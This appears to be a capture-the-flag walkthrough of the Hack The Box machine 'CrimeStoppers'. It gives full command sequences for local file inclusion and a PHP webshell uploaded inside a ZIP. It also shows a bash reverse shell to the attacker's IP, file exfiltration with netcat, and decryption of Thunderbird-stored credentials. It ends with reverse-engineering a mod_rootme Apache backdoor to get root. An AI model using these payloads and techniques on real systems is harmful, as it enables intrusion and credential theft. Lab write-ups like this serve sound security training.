CrimeStoppers

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.80 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed May 3 16:00:03 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.80
Nmap scan report for 10.10.10.80
Host is up (0.052s latency).
Not shown: 65502 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
80/tcp open http
# Nmap done at Wed May 3 16:00:30 2023 -- 1 IP address (1 host up) scanned in 26.53 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.80 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
## Nmap 7.93 scan initiated Wed May 3 16:00:41 2023 as: nmap -sCV -p80 -Pn -n -oN targeted 10.10.10.80
Nmap scan report for 10.10.10.80
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: FBIs Most Wanted: FSociety
|_http-server-header: Apache/2.4.25 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 3 16:00:49 2023 -- 1 IP address (1 host up) scanned in 7.74 seconds
The website is based on the Mr Robot TV show, and as we can see, it has the Home
and Upload
sections.

There is one cookie called admin
set to 0
.
curl -I http://10.10.10.80
HTTP/1.1 200 OK
Date: Fri, 05 May 2023 17:48:57 GMT
Server: Apache/2.4.25 (Ubuntu)
Set-Cookie: admin=0
Content-Type: text/html; charset=UTF-8
If we change it to 1
, we'll see one more section called List
.

There is one file called Whiterose.txt
in the List
section.

Which has a note saying that there is a way to get RCE with a vulnerable GET parameter. Let's keep this in mind.

Let's keep enumerating the site by doing subdirectories enumeration with gobuster.
gobuster dir -u http://10.10.10.80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x php
dir
enumerates directories or files.-u
the target URL.-w
path to the wordlist.-t
number of current threads, in this case 200 threads.-x
file extensions to search for.
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.80
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2023/05/05 17:41:47 Starting gobuster in directory enumeration mode
===============================================================
/view.php (Status: 200) [Size: 0]
/common.php (Status: 200) [Size: 0]
/uploads (Status: 301) [Size: 312] [--> http://10.10.10.80/uploads/]
/list.php (Status: 200) [Size: 0]
/upload.php (Status: 200) [Size: 0]
/css (Status: 301) [Size: 308] [--> http://10.10.10.80/css/]
/js (Status: 301) [Size: 307] [--> http://10.10.10.80/js/]
/javascript (Status: 301) [Size: 315] [--> http://10.10.10.80/javascript/]
/home.php (Status: 200) [Size: 0]
/fonts (Status: 301) [Size: 310] [--> http://10.10.10.80/fonts/]
/.php (Status: 403) [Size: 290]
/images (Status: 301) [Size: 311] [--> http://10.10.10.80/images/]
/index.php (Status: 200) [Size: 4213]
/.php (Status: 403) [Size: 290]
/server-status (Status: 403) [Size: 299]
Progress: 440685 / 441122 (99.90%)
===============================================================
2023/05/05 17:44:03 Finished
===============================================================
The /uploads
directory shows an image saying to read the source code.

The Upload
section allows us to send tips using a form.

There is a comment in the source code of the page saying that a file is created for each tip that is submitted.
...
<!-- #59: SQL Injection in Tip Submission - Removed database requirement by changing submit tip to create a file. -->
...
Note that if we access the home page for example, the URL is loading the home.php
file because of the op=home
GET parameter.
curl http://10.10.10.80/?op=home
<!DOCTYPE html>
...
Exploitation
We could try to see if the op
GET parameter to a Local File Inclusion vulnerability. Instead of loading the home.php
file, we could try to get its content with a base64 wrapper. Note that we don't need to add the .php
extension because it might be added automatically by the server.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=home"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>FBIs Most Wanted: FSociety</title>
<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="css/portfolio-item.css" rel="stylesheet">
</head>
<body>
<!-- Navigation -->
<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="?op=home">Home</a>
</div>
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav">
<li><a href="?op=upload">Upload</a></li>
</ul>
</div>
</div>
</nav>
PD9wa...gPGhyPgoK
<footer>
<div class="row">
<div class="col-lg-12">
<p>Copyright © Non Profit Satire 2017</p>
</div>
</div>
<!-- /.row -->
</footer>
</div>
<!-- /.container -->
<!-- jQuery -->
<script src="js/jquery.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="js/bootstrap.min.js"></script>
</body>
</html>
Get the base64 string, and decode it to see the home.php
code.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=home" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d
<?php
include 'common.php';
?>
<!-- Page Content -->
...
Now that we know that the op
GET parameter is vulnerable to LFI, we could try to upload a malicious ZIP file using the upload.php
file, and use the zip://
wrapper to get RCE. First, create a simple webshell, and compressed it to a ZIP file.
echo "<?php system($_GET['cmd']);?>" > pwn.php
zip pwn.zip pwn.php
Now we need to know how upload request works. Let's upload a tip, and see the request.

Now that we know what it takes to send an upload request, send the pwn.zip
file as the tip. Make sure to add the PHPSESSID
cookie and the token
, which you can find in the source code of the Upload
section.
curl -s -X POST 'http://10.10.10.80/?op=upload' -F 'tip=<pwn.zip' -F 'name=pwned' -F 'token=1ef2b6080dc62b0142d59a90154a9b11d609ab05562385d2056700ddde732779' -F 'submit=Send Tip!' -H "Cookie: admin=1; PHPSESSID=phuvogp78reo27i6a6f1tktve1"
If we take a look at the source code of the upload.php
file, we'll see that when a new tip is created, it is stored in a folder named with the IP address of the client who send the tip.
curl -s "http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n" | base64 -d
...
if(isset($_POST['submit']) && isset($_POST['tip'])) {
// CSRF Token to help ensure this user came from our submission form.
if (!empty($_POST['token'])) {
if (hash_equals($token, $_POST['token'])) {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
// Place tips in the folder of the client IP Address.
if (!is_dir('uploads/' . $client_ip)) {
mkdir('uploads/' . $client_ip, 0755, false);
}
$tip = $_POST['tip'];
$secretname = genFilename();
file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
header("Location: ?op=view&secretname=$secretname");
} else {
print 'Hacker Detected.';
print $token;
die();
}
}
}
...
Indeed, there is a directory named with my IP address inside the /uploads
directory.

Now that we know where the ZIP file is located, use the zip://
wrapper to run commands on the server.
curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=whoami" | awk "/<\/nav>/,/<footer>/" | sed 's///g' | sed 's/<\/nav>//g' | tr -d "\n"
www-data
Time to get a shell. Set a netcat listener on port 4444.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Then, send the reverse shell to get access to the server as www-data
. Then, we'll be able to grab the user flag.
curl -s "http://10.10.10.80/?op=zip://uploads/10.10.14.14/88f9e44556ea3ea76f851c8be26b72eda3f5042b%23pwn&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.14/4444+0>%261'" | awk "/<\/nav>/,/<footer>/" | sed 's/<footer>//g' | sed 's/<\/nav>//g' | tr -d "\n"
Listening on 0.0.0.0 4444
Connection received on 10.10.10.80 51360
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$ whoami
whoami
www-data
www-data@ubuntu:/var/www/html$ cat /home/dom/user.txt
75093036d910dc7c4e84de4d8b1f9312
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z
and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
There is one hidden directory called .thunderbird
inside the home directory of dom
.
ls -la /home/dom/
total 44
drwxr-xr-x 5 dom dom 4096 Dec 25 2017 .
drwxr-xr-x 3 root root 4096 Dec 16 2017 ..
-rw------- 1 dom dom 52 Dec 16 2017 .Xauthority
-rw------- 1 dom dom 5 Dec 22 2017 .bash_history
-rw-r--r-- 1 dom dom 220 Dec 16 2017 .bash_logout
-rw-r--r-- 1 dom dom 3771 Dec 16 2017 .bashrc
drwx------ 2 dom dom 4096 Dec 16 2017 .cache
-rw-r--r-- 1 dom dom 675 Dec 16 2017 .profile
drwx------ 2 dom dom 4096 Dec 25 2017 .ssh
-rw-r--r-- 1 dom dom 0 Dec 16 2017 .sudo_as_admin_successful
drw-r-xr-x 3 root root 4096 Dec 16 2017 .thunderbird
-r--r--r-- 1 root root 33 May 5 10:36 user.txt
Inside there are two files called logins.json
and key3.db
which contain encrypted credentials.
ls -la /home/dom/.thunderbird/36jinndk.default/
total 8020
...
-rw-r-xr-x 1 root root 16384 Dec 16 2017 key3.db
...
-rw-r-xr-x 1 root root 1114 Dec 16 2017 logins.json
...
Let's transfer the file to the directory where the firepwd.py tool is located.
nc -lvnp 5555 > key3.db
nc 10.10.14.14 5555 < /home/dom/.thunderbird/36jinndk.default/key3.db
nc -lvnp 5555 > logins.json
nc 10.10.14.14 5555 < /home/dom/.thunderbird/36jinndk.default/logins.json
Now, run the script to decrypt the credentials.
python firepwd.py
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
SEQUENCE {
OCTETSTRING b'681d6c187017961833ed4f17867483804a253d2b'
INTEGER b'01'
}
}
OCTETSTRING b'541a1eea2c20aebddc673d6959abe1bb4fa346728a77961faf1fbc6c0b5793b34622158ce41ff9bb5c0d04ffe2a4eadcb705353cc335fe5c64e52b30c217c581567d827886fa1bb57285bc8f82ddf219441bdd30587fb70dee5e50cb9b575c52'
}
decrypting privKeyData
SEQUENCE {
INTEGER b'00'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.1.1 pkcs-1
NULL 0
}
OCTETSTRING b'3042020100021100f8000000000000000000000000000001020100021840731af491d3fe7a9d198c54fb46ef233bd0b51f7c580768020100020100020100020100020115'
}
decoding b'3042020100021100f8000000000000000000000000000001020100021840731af491d3fe7a9d198c54fb46ef233bd0b51f7c580768020100020100020100020100020115'
SEQUENCE {
INTEGER b'00'
INTEGER b'00f8000000000000000000000000000001'
INTEGER b'00'
INTEGER b'40731af491d3fe7a9d198c54fb46ef233bd0b51f7c580768'
INTEGER b'00'
INTEGER b'00'
INTEGER b'00'
INTEGER b'00'
INTEGER b'15'
}
decrypting login/password pairs
imap://crimestoppers.htb:b'dom@crimestoppers.htb',b'Gummer59'
smtp://crimestoppers.htb:b'dom@crimestoppers.htb',b'Gummer59'
Use that password to become the dom
user.
su dom
Password: Gummer59
dom@ubuntu:/var/www/html$ whoami
dom
dom@ubuntu:/var/www/html$ id
uid=1000(dom) gid=1000(dom) groups=1000(dom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
If we search for files named with the word Sent
inside the .thunderbird/36jinndk.default
directory, we'll find a few files.
find . -name Sent 2>/dev/null
./ImapMail/crimestoppers.htb/Sent-1.msf
./ImapMail/crimestoppers.htb/Sent.msf
./ImapMail/crimestoppers.htb/Sent-1
The Sent-1 file has a list of emails. The last one has some interesting information.
cat ./ImapMail/crimestoppers.htb/Sent-1
...
From
To: elliot@ecorp.htb
From: dom <dom@crimestoppers.htb>
Subject: Potential Rootkit
Message-ID: <54814ded-5024-79db-3386-045cd5d205b2@crimestoppers.htb>
Date: Sat, 16 Dec 2017 12:55:24 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Thunderbird/52.5.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
Content-Language: en-US
Elliot.
We got a suspicious email from the DarkArmy claiming there is a Remote
Code Execution bug on our Webserver. I don't trust them and ran
rkhunter, it reported that there a rootkit installed called:
apache_modrootme backdoor.
According to my research, if this rootkit was on the server I should be
able to run "nc localhost 80" and then type "get root" to get a root
shell.  However, the server just errors out without providing any shell
at all. Would you mind checking if this is a false positive?
Apparently. there is a rootkit installed on the web server called apache_modrootme
. By connecting to port 80 and sending the get root
string, a shell as root should be spawned.
nc localhost 80
get root
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>
But this doesn't happen. Maybe it is because the string that we have to enter is a different one. There is one apache2 module called mod_rootme.so
.
find / -name rootme 2>/dev/null
/usr/lib/apache2/modules/mod_rootme.so
/etc/apache2/mods-enabled/rootme.load
/etc/apache2/mods-available/rootme.load
Transfer it to our local machine.
nc -lvnp 5555 > mod_rootme.so
nc 10.10.14.14 5555 < /usr/lib/apache2/modules/mod_rootme.so
Now, let's use radare2 to inspect the binary more in depth.
radare2 mod_rootme.so
[0x00000f70]> aaa
[0x00000f70]> afl
[0x00000f70]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Integrate dwarf function information.
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00000f70]> afl
...
0x00001ac0 3 61 dbg.darkarmy
...
There is one function called darkarmy
, which is doing an XOR operation between the HackTheBox
string and the content in the 0x00001bf2
address.
[0x00000f70]> s dbg.darkarmy
[0x00001ac0]> pdf
;-- darkarmy:
; CALL XREF from dbg.rootme_post_read_request @ 0x1b2a
â 61: dbg.darkarmy (char *secret_phrase);
â ; arg char *secret_phrase @ rax
â 0x00001ac0 bf0b000000 mov edi, 0xb ; mod_rootme.c:36 ; size_t size ; char * darkarmy();
â 0x00001ac5 4883ec08 sub rsp, 8
â 0x00001ac9 e852f4ffff call sym.imp.malloc ; mod_rootme.c:40 ; void *malloc(size_t size)
â 0x00001ace 488d3d1d0100. lea rdi, [0x00001bf2]
â 0x00001ad5 488d35210100. lea rsi, str.HackTheBox ; 0x1bfd ; "HackTheBox"
â 0x00001adc 31d2 xor edx, edx
â 0x00001ade 6690 nop
â ; CODE XREF from dbg.darkarmy @ 0x1af2
â ââ> 0x00001ae0 0fb60c17 movzx ecx, byte [rdi + rdx] ; mod_rootme.c:44
â â 0x00001ae4 320c16 xor cl, byte [rsi + rdx]
â â 0x00001ae7 880c10 mov byte [rax + rdx], cl
â â 0x00001aea 4883c201 add rdx, 1
â â 0x00001aee 4883fa0a cmp rdx, 0xa ; mod_rootme.c:43
â ââ< 0x00001af2 75ec jne 0x1ae0
â 0x00001af4 c6400a00 mov byte [rax + 0xa], 0 ; mod_rootme.c:46
â 0x00001af8 4883c408 add rsp, 8 ; mod_rootme.c:49
â 0x00001afc c3 ret
Let' see what is stored in that address.
[0x00001ac0]> px @0x00001bf2
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00001bf2 0e14 0d38 3b0b 0c27 1b01 0048 6163 6b54 ...8;..'...HackT
0x00001c02 6865 426f 7800 6d6f 645f 726f 6f74 6d65 heBox.mod_rootme
0x00001c12 2e63 0000 0000 2f76 6172 2f77 7777 2f68 .c..../var/www/h
0x00001c22 746d 6c2f 7570 6c6f 6164 732f 7768 6974 tml/uploads/whit
0x00001c32 6572 6f73 652e 7478 7400 0000 0000 011b erose.txt.......
0x00001c42 033b 5c00 0000 0a00 0000 20f2 ffff 7800 .;\....... ...x.
0x00001c52 0000 30f2 ffff a000 0000 30f4 ffff b800 ..0.......0.....
0x00001c62 0000 80f6 ffff f000 0000 f0f6 ffff 1801 ................
0x00001c72 0000 a0fa ffff 6801 0000 40fe ffff b801 ......h...@.....
0x00001c82 0000 70fe ffff d001 0000 80fe ffff e801 ..p.............
0x00001c92 0000 c0fe ffff 0002 0000 0000 0000 1400 ................
0x00001ca2 0000 0000 0000 017a 5200 0178 1001 1b0c .......zR..x....
0x00001cb2 0708 9001 0000 2400 0000 1c00 0000 a0f1 ......$.........
0x00001cc2 ffff 1000 0000 000e 1046 0e18 4a0f 0b77 .........F..J..w
0x00001cd2 0880 003f 1a3b 2a33 2422 0000 0000 1400 ...?.;*3$"......
0x00001ce2 0000 4400 0000 88f1 ffff f800 0000 0000 ..D.............
Open a python terminal, and do the XOR operation.
python
>>> string1 = bytearray(b"\x0e\x14\x0d\x38\x3b\x0b\x0c\x27\x1b\x01")
>>> string2 = bytearray(b"HackTheBox")
>>> for i in range(0, 10):
... result += chr(string1[i] ^ string2[i])
...
>>> print(result)
FunSociety
Finally, if we enter the get FunSociety
string, we'll get a shell as root. Then all we have to do is reap the harvest and take the root flag.
nc localhost 80
get FunSociety
rootme-0.5 DarkArmy Edition Ready
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
c41b14de381ad6687b1300ec929cd3dd
Last updated
Was this helpful?